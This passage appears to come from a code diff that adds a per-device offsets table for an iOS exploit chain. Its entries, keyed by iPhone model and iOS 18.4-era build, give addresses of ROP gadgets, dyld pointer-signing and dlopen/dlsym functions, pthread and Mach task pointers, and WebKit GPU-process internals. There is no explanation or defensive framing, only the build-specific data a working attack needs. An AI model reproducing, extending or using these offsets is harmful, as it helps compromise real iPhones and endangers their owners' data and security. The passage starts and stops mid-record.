m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,2_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone16,2_22E252": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x2586dae60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26ad8c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,1_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d261da8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfda16cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218aeb820n, + libGPUCompilerImplLazy__invoker: 0x23cec57e8n, + libGPUCompilerImplLazy_cstring: 0x23c00f870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,1_22E240": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae38d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae33c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae3320n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3370n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2768n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0488n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2df0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2aa0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2aa8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2ab0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c29f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2ab8n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fc3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda63058n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda672b8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fdf8n, + WebCore__initPKContact_value: 0x1eda6fe00n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e5c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e5b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e5a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda64200n, + __pthread_head: 0x26a66c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9bd0n, + gadget_control_1_ios184: 0x23f1202ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f28d150n, + gadget_loop_1_ios184: 0x1865fc18cn, + 